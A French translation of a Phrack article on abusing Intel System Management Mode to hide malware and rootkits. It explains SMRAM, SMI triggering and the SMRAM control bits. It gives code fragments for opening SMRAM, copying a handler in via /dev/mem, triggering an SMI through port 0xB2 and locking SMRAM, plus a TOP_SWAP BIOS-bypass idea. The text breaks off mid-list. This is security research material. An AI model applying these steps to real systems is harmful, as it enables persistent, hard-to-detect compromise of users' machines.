==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x07 of 0x0f |=-----------------------------------------------------------------------=| |=-----------------=[ System Management Mode Hack ]=------------------=| |=-----------------=[ Using SMM for "Other Purposes" ]=------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ By BSDaemon ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ coideloko ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ D0nAnd0n ]=--------------=| |=---------------=[ ]=--------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ March 29 2008 ]=--------------------------=| |=-----------------------------------------------------------------------=| |=--------------=[ traduit par TboWan pour arsouyes.org ]=---------------=| "Very nice! How much?" - Borat Sagdiyiev ------[ Sommaire 1 - Introduction 1.1 - Structure du papier 2 - System Management Mode 2.1 - Modes opératoires du Pentium 2.2 - Survol du SMM 2.2.1 - SMRAM 2.2.2 - Gestionnaire du SMI 2.2.3 - Déclenchement du SMI 2.2.4 - Découverte de Duflot - Exploit 2.3 - Les oublis de Duflot 2.3.1 - Configuration PCI 2.3.2 - Quand et pourquoi le système génère-t-il une MSI 2.4 - Détails du SMM - Nos premières expériences 2.4.1 - Analyse des registres du SMM 2.4.2 - Détails du SMM 3 - SMM à des fins diaboliques 3.1 - Challenges 3.1.1 - Écrasement originaires du cache 3.1.2 - Verrouillage du SMM 3.1.3 - Portabilité 3.1.4 - Translation d'adresses 3.2 - Copier notre code dans l'espace du SMM 3.2.1 - Testes 3.2.2 - Descriptor caches 3.2.3 - Relocation de code 4 - Librairie de manipulation du SMM 5 - Utilisations future et supplémentaires 6 - Remerciements 7 - Références 8 - Notes du traducteur : 9 - Sources - Implementation details [brazil_SMM.tgz] ------[ 1 - Introduction Cet article va tenter d'expliquer quelques détails sur l'architecture Intel [1] et sur la manière de la manipuler par un utilisateur malicieux afin créer un malware complètement protégé matériellement. En plus, puisque le thème principal de l'article est le System Management Mode [1], nous entrerons dans les détails de l'étude de Duflot [2] et même plus loin, vous montrant comment créer un système stable dans le SMM [3]. Il est important de noter que tout ce qui est montré ici est vraiment dépendant des ponts du processeur [NDT-1] (nous nous focalisons sur les processeurs Intel[1]). Puisqu'à l'intérieur du SMM, un malware peut manipuler toute la mémoire système, il peut être utilisé pour modifier les structures noyau et créer un rootkit puissant. ---[ 1.1 - Structure du papier L'idée de ce papier est de compléter l'étude sur le SMM, expliquant comment l'utiliser à des fins diaboliques. Le papier est donc structuré en deux parties importantes : Le chapitre 2 vous donnera les connaissances de base des modes opératoires du Pentium (qui sont nécessaires pour mieux comprendre les autres portions du chapitre) et ensuite, introduira les découvertes de Duflot qui sont en rapport. Après ça, ce chapitre expliquera ce que Duflot a oublié, expliquant pourquoi le système se comporte d'une manière qui nous permet de l'utiliser, et introduira les détails internes du SMM et noter librairie pour le manipuler. Le chapitre 3 expliquera comment utiliser le SMM à des fins diaboliques, expliquant les challenges pour utiliser le SMM et donnant des exemples pratiques de l'utilisation de notre librairie. ------[ 2 - System Management Mode Dans le manuel Intel [1] : "The Intel System Management Mode (SMM) is typically used to execute specific routines for power management. After entering SMM, various parts of a system can be shut down or disabled to minimize power consumption. SMM operates independently of other system software, and can be used for other purposes too." NDT : "Le System Management Mode (SMM) d'Intel est typiquement utilisé pour exécuter des procédures spécifiques de gestion de l'énergie. Après être entré dans le SMM, diverses partie du système peuvent éteindre ou se désactiver pour diminuer la consommation d'énergie. Le SMM fonctionne indépendamment des autre logiciels systèmes, et peut être utilisé à d'autres fins." Chaque fois qu'on lit quelque chose comme "et peut être utilisé à d'autres fins", nous commençons à nous dire : c'est quoi ce merdier ? Quel genre d'autre fins ? C'est intéressant que tous les exemples trouvés sur internet pointent sur des utilisation du SMM relatives à l'énergie, et ne disent rien sur ces autre fins. En 2006, Duflot et ses collaborateurs [2] ont publié un papier sur la manière d'utiliser le SMM pour échapper à certaines protections du système d'exploitation. Ça a été la première fois qu'un abus du SMM était montré, et ça a montré quelques idées (comme la manière de mettre un code dans le SMM, comment manipuler la mémoire système dans le SMM et comment forcer le système à entrer dans le SMM), laissant beaucoup de questions ouvertes qui seront résolues ici (comment créer un code stable pour corrompre le SMM, comment manipuler les registres du SMM, les difficultés à créer un système stable fonctionnant dans le SMM et pourquoi le système se comporte de la manière décrite dans ce papier). ---[ 2.1 - Modes opératoires du Pentium Tout le monde connaît déjà les modes opératoires de la famille de processeurs P6. Le mode réel (real mode) est un mode en adressage 16-bits, qu'on garde pour des raisons de compatibilité, et de nos jours, il n'est utilisé que dans la phase de boot. Le mode protégé (protected mode) est un mode 32-bits, fournit pour des modèles de protection utilisé par les systèmes d'exploitation modernes. Le mode virtuel (virtual mode) 8086 a été introduit pour garantir une plus grande efficience quand on fait tourner des programmes créés pour des architectures plus vieilles (comme le 8086 et 8088). Le Système Management Mode (SMM) est un autre mode opératoire qui, comme déjà dit, est supposé être utilisé par des fonctions de gestion d'énergie. Le volume 3 du manuel des processeurs Intel [1] a déjà expliqué les transitions acceptables entre ces modes : ------------------- SMI (interruption) |->|Real Address Mode| -------------------------------------------| | ------------------- <----------------------------------| | | | PE=1 ^ PE=0 (requires ring0) or |rsm ou | | v | reset |reset V | ------------------- --------- reset | | Protected Mode | -----> SMI (interruption) ------> | SMM Mode | | ------------------- <----- instruction rsm <------ --------- | | VM=1 ^ VM=0 | ^ | v | |rsm | | ------------------- <----------------------------------| | |- |Virtual 8086 Mode| -------------------------------------------| ------------------- SMI (interrupt) P.S.: PE et VM sont des flags du CR0 (registre de contrôle 0) En gros, tous ce que nous avons jusqu'ici : - tout mode opératoire des plateformes Intel peuvent faire une transition vers le mode SMM si une interruption SMI est faite. - le mode SMM va retourner le mode précédent en effectuement une instruction rsm (le processeur va lire un état sauvegardé pour restaurer le système dans la situation précédent le SMM). ---[ 2.2 - Survol du SMM Tout d'abord, quand le système entre en SMM, le contexte complet du processeur doit être sauvegardé de manière à ce qu'il puisse être restauré plus tard. En le faisant, le processeur peut entrer dans un contexte d'exécution spécial et commencer à exécuter le gestionnaire de SMI. Pour sortir de ce mode, il y a une instruction spéciale, RSM (qui peut être utilisée directement dans le SMM), qui va lire le contexte sauvegardé et retourner dans la situation précédente. En plus, dans le SMM, la pagination est désactivée et vous avez un mode opératoire 16-bits, mais toutes les mémoires physiques peuvent être adressées (on en reparlera). Il y a aussi des restrictions sur les ports d'E/S ou la mémoire, nous avons donc les mêmes privilèges qu'en ring0 (en fait, depuis le SMM, quelqu'un peut manipuler toute la mémoire système). Duflot a montré une manière de mettre votre propre gestionnaire de SMI, forçant le processeur à entrer en mode SMM, changer la mémoire système pour contourner une protection de sécurité (dans son cas, le securelevel sur un système OpenBSD), et ensuite, exécuter son propre code, changeant le contexte sauvegardé pour pointer sur son code. ---[ 2.2.1 - SMRAM Le SMM a une zone mémoire dédiée appelée SMRAM. Elle fait 0x1FFFF octets commençant à SMBASE (elle peut être plus grande sur les système qui ont activé Extended SMRAM). La valeur par défaut de SMBASE est 0x30000, mais puisque les chipset modernes fournissent la relocation, elle se voit aussi en 0xA0000 (le BIOS la reloge aux mêmes adresses que les ports d'E/S ou la carte vidéo). Comme l'a montré Duflot, le pont nord [NDT-2] a un registre de contrôle appelé "SMRAM Control Register" qui fourni un bits (D_OPEN - le bits 6) qui, quand il est mis, fait que tous les accès mémoires à partir de SMBASE sont redirrigés en SMRAM. Si le processeur n'est pas en mode SMM et que le bit D_OPEN n'est pas mis, tous les accès à la zone mémoire du SMRAM sont transféré à la mémoire vidéo (quand elle a été relogée vers des adresses partagée, comme on l'a dit) - donnant une protection à la SMRAM, que nous allons utiliser plus tard pour protéger notre malware. Sinon, si le bits D_OPEN est mis, la mémoire adressée sera bien la SMRAM. Un autre chose importante qu'il a montré concernant le gestionnaire est le bits numéro 4 (D_LCK) du SMRAM Control Register, qui, une fois mis, protège le SMRAM control register et donc, la mémoire SMRAM elle-même, si le bits D_OPEN n'étais pas mis quand le registre de contrôle a été verrouillé. Pour le changer, le système doit redémarrer (ce qui nous donne un challenge, puisque la plupart des BIOS le verrouille). C'est très bien détaillé dans les manuels d'Intel, mais le fait est qu'un super utilisateur peut y écrire en utilisant la mémoire vidéo et en ensuite forcer le déclenchement du SMI est assez nouveau. Quand on entre en SMM, le processeur va sauter à l'adresse physique SMBASE+0x8000 (ce qui signifie que le gestionnaire de SMI doit se trouver à l'offset 0x8000 dans la SMRAM). Puisque le bits D_OPEN est mis, nous pouvons mettre du code en SMRAM, nous devons juste forcer le déclenchement du SMI pour que notre code soit exécuté. ----------------- SMBASE+0x1FFFF | | | | | | | | SMBASE+0xFFFF ----------------- | | | zone de | sauvegarde de | | l'état | | | SMBASE+0xFE00 ----------------- | | | Code,Tas,Pile | | | SMBASE+0x8000 ----------------- ----> Première instruction | | du gestionnaire du SMI | | | | SMBASE=0xA0000 ----------------- ---[ 2.2.2 - Gestionnaire du SMI Puisque nous allons mettre le bit D_OPEN, nous avons besoin d'éviter d'utiliser l'affichage, puisque tous les accès à la mémoire vidéo seront redirrigés en SMRAM et pas vers la carte vidéo. Duflot n'a pas expliqué comment c'est possible, puisque son exemple était pour OpenBSD et qu'il considérait que personne n'utilisait la carte vidéo (il a montré un exploit pour un problème OpenBSD mais qui suppose que personne n'utilise X, par exemple). Dans notre exemple, nous allons aussi montrer comment manipuler les registres directement, mais nous allons utiliser la libpci [4] pour éviter tout problème avec ça (puisque la libpci utilise les interfaces systèmes pour manipuler le soussystème PCI, évitant les conditions de compétitions [NDT : race condition] dans l'utilisation des ressources). C'est aussi plus portable car la libpci, comme on va le montrer, supporte beaucoup de systèmes d'exploitation différents. Donc, pour insérer un gestionnaire, l'attaquant à besoin de : - Vérifier que le bit D_LCK n'est pas mis - Mettre le bit D_OPEN - Avoir accès à l'espace d'adressage mémoire (dans l'exemple, 0xA0000-0xBFFFF) Pour accéder à la mémoire, vous pouvez juste mmaper la zone mémoire via /dev/mem, parce qu'il fourni un accès à l'espace d'adressage physique (au lieu de la vision virtuelle donnée par /dev/kmem par exemple). ---[ 2.2.3 - Déclenchement du SMI Puisque le signal SMI est une interruption générée par le matériel, il n'y a aucune instruction pour le généré par un logiciel. Le chipset pourrait la généré mais _quand_ il le fera dépend du chipset [5,6]. Duflot a déjà expliqué dans son papier le registre SMI_EN, où le bit de point faible est une activation globale, qui spécifie si les SMI sont activées ou non (les autres bits du SMI_EN contrôlent alors quel périphérique peut générer des SMI). Le registre SMI_STS garde trace du dernier périphérique qui a causé une SMI. Ces registres peuvent être accédés en utilisant un mécanisme PCI classique ("in" et "out"). La position de ces registres est variable mais ils sont à une adresse relative à PMBASE (SMI_EN=PMBASE+0x30 et SMI_STS=PMBASE+0x34). PMBASE peut être accédé en utilisant le bus 0, du périphérique 0x1F, fonction 0 et offset 0x40. Vous aurez plus de détails sur les mécanismes de configuration du PCI en section 2.3.1. ---[ 2.2.4 - Découverte de Duflot - Exploit Dans leur papier, Duflot et ses collaborateurs ont montré un exploit fonctionnel contre OpenBSD. Ce sera le premier code que nous analyserons (avec une petite modification pour qu'il marche sous Linux). Comme on peut le voir, le code va avoir des problèmes si un serveur X fonctionne, puisqu'il transfert tous les accès à la mémoire vidéo vers la SMRAM. Puisque le système d'exploitation Linux (comme la plupart des Unix) fournit une façon d'avoir le niveau de privilèges d'E/S dans le mode utilisateur, l'exploit l'utilise d'une façon qui lui permette d'utiliser les instructions in/out : if(iopl(3) < 0) { Pour avoir l'adresse de la SMRAM, le bit D_OPEN doit être mis : outl(data1, 0xcf8); outl(data2, 0xcfc); En plus, on peut aussi voir ici que, dans le gestionnaire, il fait la chose suivante : addr32 mov , %eax mov %eax, %cs:0xfff0 Ici, nous voyons que l'offset 0xfff0 est l'EIP sauvegardé dans l'état sauvegardé dans la SMRAM. En le faisant, on ne fait que mettre un pointeur de fonction dans l'état sauvegardé, pour que quand le système génère l'instruction rsm, il retourne en mode protégé, mais en exécutant la fonction test (le EIP sauvegardé). Duflot a découvert qu'accéder au Port d'E/S programmé 0xB2 avec le bit 5 de SMI_EN mis va générer une SMI : outl(0x0000000f, 0xb2); C'est bien sûr très chouette... Mais que pouvons-nous faire d'autre avec ça ? ---[ 2.3 - Les oublis de Duflot Dans son papier, Duflot n'a pas expliqué comment la configuration PCI fonctionnait vraiment (par exemple, il a juste montré l'utilisation du port 0xCF8 pour l'adresse et le port 0xCFC pour faire l'opération elle-même). De plus, il n'a jamais dit quand et pourquoi le système générait une SMI. L'idée d'utiliser le SMM pour manipuler la mémoire système peut aussi être étendue, pour créer un malware fonctionnant dans le SMM, ou pour contourner les protections au boot et plein d'autres (comme créer un mécanisme de protection système qui y fonctionne). Le reste de ce chapitre et le suivant vont montrer plein de détails sur la façon dont fonctionne le SMM et ce qu'on pourra utiliser dans le SMM. En plus, ça vous expliquera mieux comment analyser le système et créer une librairie portable pour manipuler les registres relatifs au SMM. ---[ 2.3.1 - Configuration PCI Les spécifications originales PCI [11] définissent deux mécanismes pour les PC i386, mais les spécifications suivantes ont supprimé l'une d'elles. Puisque ces spécifications ne sont pas libres, nous vous suggérons grandement de lire un livre sur le sujet [12]. En gros, vous avez deux plages de ports d'E/S : l'une associée aux ports d'adresse (0xCF8-0xCFB) et l'autre au port de données (0xCFC-0xCFF). Pour configurer un périphérique, vous devez écrire dans le port d'adresse quel périphérique et registre vous voulez accéder et ensuite, lire/écrire les données à partir de/dans le port de donnée. Les règles sur le format des données écrite vers les ports d'adresse est le suivant : Bits Description 0..1 00b (toujours 0) 2..7 quel espace 32bits dans l'espace de configuration à accéder 8..10 fonction du périphérique 11..15 numéro du périphérique Une liste complète des vendeurs PCI et des périphériques peut se trouver en [13]. Les périphériques PCI ont des adresses qui se traduisent en numéro de bus PCI, un numéro de périphérique dans ce bus (valeur entre 0 et 31), et un numéro de fonction dans le périphérique (valeur de 0 à 7). Puisqu'un exemple est plus utile, pour accéder au registre REG de l'espace PCI bus:device:function, vous devez utiliser l'adresse suivante : 0x80000000L | ((bus & 0xFF) << 16) | ((((unsigned)device) & 0x1F) << 11) | ((((unsigned)func) & 0x07) << 8) | (REG & 0xFC); Dans chaque espace de configuration de périphérique PCI, il y a normalement un ou plusieurs BAR (BASE Address Register - registre d'adresse de base), qui peut être utilisé pour trouver l'adresse en mémoire physique ou en espace d'E/S pour chaque ressource que la carte utilise. ---[ 2.3.2 - Quand et pourquoi le système génère-t-il une MSI Toutes les transactions mémoires (accès en lecture/écriture) à partir du CPU sont placées dans un bus hôte pour être consommées par les périphériques. Le CPU peut potentiellement décoder lui-même une plage (de mémoire) telle que la plage Local APIC, et la transaction sera satisfaite avant même d'avoir besoin d'être placée sur le bus externe. Si le CPU ne revendique pas la transaction (il ne la décode pas), alors, elle doit être envoyée. Sur une architecture Intel typique, la transaction sera alors décodée par le MCH (Memory Controler Hub) et sera revendiquée comme une adresse gérée par le MCH, ou alors, le décoder déterminera que la transaction ne dépend pas du MCH et sera donc transférée sur le prochain périphérique de la chaîne. Si le contrôleur mémoire voit que l'adresse n'est pas dans la DRAM actuelle, alors, il regarde si elle tombe dans l'une des plages d'E/S qu'il gère (ISA, EISA, PCI). En fonction de l'âge du système, le contrôleur mémoire peut décoder directement la transaction PCI (au lieu de la passer aux pont d'E/S), par exemple. Si le MCH détermine que la transaction ne dépend pas de lui, la transaction sera transférée sur n'importe quel pont d'E/S présent dans le système. Ce processus de décodage de l'appartenance / réponse / transfert ne s'arrête que lorsque le système a tenté tous les agents possibles. Ça se termine soit par un agent qui revendiquera la transaction et retournera les données si elles sont présentes à l'adresse, ou alors personne ne revendiquera l'adresse et la transaction échouera, typiquement, la donnée 0FFFFFFFFh sera retournée. Dans certaines situations (le cas du papier de Duflot), certaines adresses (par exemple, celles dans la plage 0A0000h - 0BFFFFh) sont gérées par deux périphériques (le frame buffer VGA et la mémoire système). Ceci obligera l'architecture à envoyer un signal SMI pour satisfaire la transaction. Si aucun SMI n'est déclaré, alors la transaction passe finalement le contrôleur mémoire, pour que le contrôleur VGA (s'il est présent) puisse la revendiquer. Si le signal SMI est lancé, alors la transaction est reçue par le contrôleur mémoire, et la transaction sera transférée à l'unité de DRAM pour trouver les données en mémoire physique (exécutant notre gestionnaire). ---[ 2.4 - Détails du SMM - Nos premières expériences Nous allons clarifier ici quelques détails importants du SMM et sa manière de fonctionner. Ceci sera important pour mieux comprendre la librairie attachée à cet article. ---[ 2.4.1 - Analyse des registres du SMM Commençons par analyser le SMM en utilisant libpci, pour être plus stable en le faisant. Le code suivant est connu pour bien fonctionner dans les contrôleurs ICH5 et ICH3M. --- code --- #include #include #include /* Defines - bit positions (will be used in more samples) */ #define D_OPEN_BIT (0x01 << 6) #define D_CLS_BIT (0x01 << 5) #define D_LCK_BIT (0x01 << 4) #define G_SMRAME_BIT (0x01 << 3) #define C_BASE_SEG2_BIT (0x01 << 2) #define C_BASE_SEG1_BIT (0x01 << 1) #define C_BASE_SEG0_BIT (0x01) /* Function to print SMRAM registers */ void show_smram(struct pci_dev* SMRAM) { u8 smram_value; /* Provided by libpci */ smram_value = pci_read_byte(SMRAM, SMRAM_OFFSET); if(smram_value & D_OPEN_BIT) { printf("D_OPEN_BIT: 1 "); } else { printf("D_OPEN_BIT: 0 "); } if(smram_value & D_CLS_BIT) { printf("D_CLS_BIT: 1 "); } else { printf("D_CLS_BIT: 0 "); } if(smram_value & D_LCK_BIT) { printf("D_LCK_BIT: 1 "); } else { printf("D_LCK_BIT: 0 "); } if(smram_value & G_SMRAME_BIT) { printf("G_SMRAME_BIT: 1 "); } else { printf("G_SMRAME_BIT: 0 "); } if(smram_value & C_BASE_SEG2_BIT) { printf("C_BASE_SEG2_BIT: 1 "); } else { printf("C_BASE_SEG2_BIT: 0 "); } if(smram_value & C_BASE_SEG1_BIT) { printf("C_BASE_SEG1_BIT: 1 "); } else { printf("C_BASE_SEG1_BIT: 0 "); } if(smram_value & C_BASE_SEG0_BIT) { printf("C_BASE_SEG0_BIT: 1 "); } else { printf("C_BASE_SEG0_BIT: 0 "); } printf(" "); } int main(void) { struct pci_access *pacc; struct pci_dev *SMRAM; /* Provided by libpci */ pacc = pci_alloc(); pci_init(pacc); SMRAM = pci_get_dev(pacc, 0, 0, 0, 0); printf("Current status of SMRAM: "); show_smram(SMRAM); printf("Setting D_OPEN to 1 "); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x4a); show_smram(SMRAM); printf("Locking SMRAM "); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x1a); show_smram(SMRAM); printf("Trying to set D_OPEN to 0 "); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x0a); show_smram(SMRAM); return 0; } --- end code --- Compilez-le avec cette commande : gcc -o brazil_smm1 brazil_smm1.c -lpci -lz Voici un exemple d'exécution : rrbranco:~/Phrack# ./brazil_smm1 Current status of SMRAM: D_OPEN_BIT: 0 D_CLS_BIT: 0 D_LCK_BIT: 0 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Setting D_OPEN to 1 D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 0 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Locking SMRAM D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 1 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Trying to set D_OPEN to 0 D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 1 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 ---[ 2.4.2 - Détails du SMM Quand le processeur entre en mode SMM, il va signaler une broche de sortie sSMIACT#, pour notifier au chipset que le processeur est en SMM. L'interruption SMI elle-même peut être déclenchée n'importe quand, sauf si le processeur est déjà en SMM (forcément). Dans ce cas, le gestionnaire de SMM s'exécutera (comme on l'a déjà montré). Puisque le SMIACT# a été vu par le chipset, tous les prochains accès mémoire seront redirrigés dans la mémoire protégée SMRAM. Après ça, le processeur va commencer à sauvegarder son état interne dans la zone saved_state, dans la SMRAM. Ensuite, le gestionnaire commencera son exécution. Quel est l'état courant ? Le processeur est en "mode réel", avec tous les segments contenants 4GB et étant en lecture/écriture. Comme déjà dit, pour quitter le sMM, l'instruction RSM est effectuée par le gestionnaire et alors, le processeur relira l'état sauvegardé, n'effectuant que quelques vérifications (c'est bien) restaurant le système dans la situation précédente. Le SMM écrit les données dans la zone de l'état sauvegardé de la même manière que la pile le fait, du haut vers le bas en commençant au registre SMBASE (permettant donc la relocation). C'est important de garder ceci à l'esprit quand on manipule la zone de l'état sauvegardé. Si le système entre en SMM après un arrêt, ou une instruction d'E/S, le gestionnaire peut demander au système de continuer son exécution après ça, ou d'entrer dans l'état d'arrêt, en mettant un flag dans la zone de l'état sauvegardé. Lors de l'entrée en SMM, les interruptions sont désactivées (dont les NMI (Non Maskable Interrupt) asynchrone et INIT), et le registre de l'IDT (Interrupt Description Table) garde sa valeur. Pour permettre de gérer les interruptions dans le SMM (on vous montrera une raison pour ça), on a besoin d'installer notre propre vecteur d'interruption [14] et de recharger l'IDT avec nos nouvelles valeurs car les valeurs contenues dans l'ancienne IDT ne sont plus valides dans l'espace d'adressage utilisé par le SMM. Après l'instruction STI, le système commence à recevoir des interruptions mais ratera encore les asynchrones. Pour l'autoriser, on doit effectuer les instructions IRET/IRETD. Le gros problème de réactiver les interruptions dans le gestionnaire de SMM est que si une interruption NMI est reçue dans le gestionnaire, elle sera verrouillée. Toutes les vérifications dans le SMM peuvent donc potentiellement être évitées si quelqu'un a détourné les procédures de gestion du NMI (cette procédure serait exécutée immédiatement après le RSM, avant que le processeur ne commencer à exécuter le code pointé par EIP dans la zone de sauvegarde de l'état). Pendant nos tests, la relocation SMM nous a donné du fil à retorde sur les vieilles machines (pentium II/III). Nous avons aussi préférer utiliser ces machines pour tester nos trucs, puisqu'il n'y a pas de verrouillage du SMM fait par le BIOS (en général, les BIOS qui ont plus de deux ans). Apparemment, ces vieux processeurs ont une valeur de CS fixée qui pointe à 0x30000 (la position par défaut du SMM - relogée par la plupart des BIOS modernes en 0xA0000 comme on l'a déjà dit). Si nous activons les interruptions dans le SMM, quand une interruption est invoquée, elle sauvegardera CS:IP dans la pile pour les retours de fonctions. Mais elle utilisera la valeur fixe de CS (0x30000) au lieu d'utiliser la valeur de SMBASE, ne donnant pas le bon segment de code que le SMM utilise actuellement, et donc, le code va retourner au mauvais endroit. La documentation Intel mentionne également des problèmes d'alignement dans la valeur de SMBASE dans les vieux processeurs (avant les P4). ------[ 3 - SMM à des fins diaboliques Comme on l'a déjà dit, le SMM peut être utilisé pour modifier les structures internes du noyau. Nous allons ici montrer aussi quelques challenges et d'autres utilisations possibles pour un code malware fonctionnant dans le SMM. ---[ 3.1 - Challenges ---[ 3.1.1 - Écrasement originaires du cache Quand on entre en SMM, la SMRAM peut être écrasée par des données dans le cache si un #FLUSH a lieu après l'entrée en SMM. Pour l'éviter, on peut camoufler la SMRAM dans une mémoire non-cacheable ou effectuer un #FLUSH en même temps qu'un #SMI (le #FLUSH sera géré en priorité). La plupart des BIOS marquent la plage de SMRAM comme non-cacheable pour nous (et la verrouille aussi, depuis la parution du papier de Duflot). ---[ 3.1.2 - Verrouillage du SMM De nos jours, la plupart des fabriquant de BIOS verrouillent le SMM. Quand vous insérez un mécanisme de protections utilisant le SMM, vous pouvez simplement remplacer le BIOS système vers un BIOS open-source (voir LinuxBIOS[7]). Quand nous parlons de code malicieux, ce ne peut pas être fait et certaines sortes de patches du BIOS prendront place. Cet article se concentre sur la manipulation du SMM lui-même, mais une bonne approche pour contourner les protections du BIOS est d'utiliser le bits TOP_SWAP [8] pour exécuter notre code avant le BIOS original et ensuite de charger notre gestionnaire de SMM et le verrouiller (ce qui empêchera le BIOS original d'écraser notre gestionnaire). En gros, ce bits est utilisé pour définir si le système utilisera les 64 premiers Ko ou les second comme zone de chargement du BIOS. Le sachant, quelqu'un peut juste mettre le bits TOP_SWAP, mettre son code dans la seconde zone de 64Ko et une fois dans le code, mettre un jump vers le code original. Ce code sera exécuté AVANT le BIOS. Le bits TOP_SWAP existe pour fournir une manière sûre de mettre à jour le BIOS - le code du BIOS est copié dans la deuxième zone de 64Ko, le bits TOP_SWAP est mis, la mise à jour est faite et une vérification d'intégrité est faite - s'il y a quelque chose qui fait rebooter le système, il va redémarrer dans la deuxième zone qui contient une copie du BIOS original sans problème. ---[ 3.1.3 - Portabilité Comme déjà dit, le SMM est dépendant du matériel, plus spécifiquement, il est dépendant du ICH. Le code joint à cet article est connu pour fonctionner sur ICH5 et ICH3M, testé sous Linux, mais puisqu'il utilise la libpci, on suppose qu'il fonctionne aussi sous FreeBSD, NetBSD, OpenBSD (également testé), Solaris, Aix, GNU/Hurd et Windows). Pour avoir une gestion d'autres ICH's, on doit éditer le fichier libSMM.h pour spécifier correctement l'endroit du bus, périphérique, fonction et offset, et ensuite, être sûr que le PMBASE retourné par la fonction get_pmbase() est le bon (en comparant avec le manuel). Après cette vérification, le SMRAM_OFFSET est défini correctement (vous pouvez le trouver dans votre manuel I8xx). Si c'est le cas, le bits dans le registre de contrôle de la SMRAM sera montré correctement (vous pouvez le tester facilement en utilisant le bits D_LCK, puisque quand il est mis, il interdit la manipulation des autres bits). On peut aussi le tester en utilisant la commande dd montrée dans la suite du papier, et le bit D_OPEN (utiliser la fonction open_smram, écrire le mmaping mémoire de la SMRAM et le copier pour vérifier qu'il marche). ---[ 3.1.4 - Translation d'adresses La translation d'adresse est une grosse difficulté quand on est dans notre gestionnaire, puisque nous avons besoin de la valeur du registre CR3 (qu'on peut récupéré dans l'état sauvegardé), pour analyser manuellement la table des pages et effectuer alors la translation. Une autre approche consiste à rendre le contrôle à notre code de la manière qu'à utilisé Duflot, mais nous devons sauvegarder le statut du processeur courant dans la SMM, pour qu'après l'exécution de notre code (après le SMM), nous puissons rendre le contrôle au processus qui s'exécutait avant le déclenchement du SMI (sinon, nous aurions des parties du système qui s'arrêteraient après que notre malware ait été exécuté). Ce n'est pas bien ... La meilleure chose qu'on puisse faire est simplement d'avoir un gestionnaire qui donne les plus haut privilèges d'exécution au code appelant (i.e. le code qui s'exécutait avant le déclenchement de la SMI) et ensuite, retourner. En le faisant, nous évitons de rester trop longtemps en SMM et de devoir faire attention aux processus OS qui s'arrêteraient. Dans les prochaines sections, nous allons clarifier la manière de mettre du code en espace SMM, le tester, et ensuite une approche utilisant le cache de descripteurs pour permettre la phrase ci-dessus. ---[ 3.2 - Copier notre code dans l'espace du SMM ---[ 3.2.1 - Tests Donc, la première étape pour mettre notre code dans le SMM est d'ouvrir la sMRAM en mettant le bits D_OPEN. --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_OPEN_BIT)); --- end code --- Pour le fermer après avoir fini, nous utiliserons le code suivant : --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value & ~D_OPEN_BIT)); --- end code --- Après avoir inséré notre code, nous voulons aussi verrouiller les accès en SMRAM, évitant que n'importe qui change les registres relatifs au SMM. --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_LCK_BIT)); --- end code --- Pour pouvoir insérer notre code en SMRAM, nous devons le mapper, de la même façon que nous l'avions fait dans l'exploit. --- code --- fd = open(MEMDEV, O_RDWR); if(fd < 0) { fprintf(stderr, "Opening %s failed, errno: %d ", MEMDEV, errno); return -1; } vidmem = mmap(NULL, MAPPEDAREASIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, SMIINSTADDRESS); if(vidmem == MAP_FAILED) { fprintf(stderr, "Could not map memory area, errno: %d ", errno); return -1; } close(fd); /* C'est ici qu'on copie le code en SMRAM */ if(vidmem != memcpy(vidmem, handler, endhandler-handler)) { fprintf(stderr, "Could not copy asm to memory... "); return -1; } if(munmap(vidmem, MAPPEDAREASIZE) < 0) { fprintf(stderr, "Could not release mapped area, errno: %d ", errno); return -1; } --- end code --- C'est une bonne idée de vérifier si ça marche correctement, et aussi de faire une copie du contenu de la SMRAM avant ça. Donc, faisons le en utilisant dd : dd if=/dev/mem of=my_smram bs=1 skip=`expr 655360 - 1` count=64K P.S. : 655360, c'est 0xa0000 en décimal (comme montré par Duflot, le SMM est souvent relogé à cette adresse au lieu de 0x30000, qui est la valeur par défaut). ---[ 3.2.2 - Descriptor caches Cette idée a fonctionné sur certains systèmes mais pas sur d'autres, puisque la documentation d'Intel n'est pas très claire sur ce sujet. D'après le manuel d'Intel : "Chaque registre de segment a une partie visible et une partie cachée (On se réfère parfois à la partie cachée par Descriptor cache ou shadow register). Quand un sélecteur de segment est chargé dans la partie visible du registre de segment, le processeur peut aussi charger la partie cachée du registre avec l'adresse de base, la limite de segment et les informations de contrôle d'accès depuis le descripteur de segment pointé par le sélecteur de segment." Les "informations de contrôle d'accès" réfèrent aux xPL bien connues : - RPL -> Niveau de privilège de requête - CPL -> Niveau de privilège courant - DPL -> Niveau de privilège du descripteur Dans la zone de l'état sauvegardé dans la SMRAM, toujours d'après les manuels d'Intel, sont sauvegardés les descriptor caches et le registre CR4 (le manuel dit qu'il n'est pas lisible et écrire sa valeur causera des "comportements imprévisibles"). Voici ce que nous avons trouvé : TSS Descriptor Cache (12-bytes) - Offset: FFA7 IDT Descriptor Cache (12-bytes) - Offset: FF9B GDT Descriptor Cache (12-bytes) - Offset: FF8F LDT Descriptor Cache (12-bytes) - Offset: FF83 GS Descriptor Cache (12-bytes) - Offset: FF77 FS Descriptor Cache (12-bytes) 